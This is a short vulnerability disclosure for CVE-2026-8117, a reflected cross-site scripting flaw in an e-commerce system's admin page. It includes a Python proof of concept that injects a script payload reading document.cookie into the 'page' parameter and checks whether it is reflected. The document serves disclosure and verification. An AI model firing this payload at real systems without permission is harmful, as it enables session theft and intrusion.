CVE-2026-8117: Pizzafy电商系统跨站脚本漏洞

// PoC for CVE-2026-8117 // Vulnerable Parameter: page // Affected File: /admin/index.php import requests url = "http://target/admin/index.php" payload = "<script>alert(document.cookie)</script>" # Send malicious request params = {'page': payload} response = requests.get(url, params=params) # Check if payload is reflected unfiltered if payload in response.text: print("[+] Vulnerability confirmed. XSS payload executed in response.") else: print("[-] Vulnerability not detected or patched.")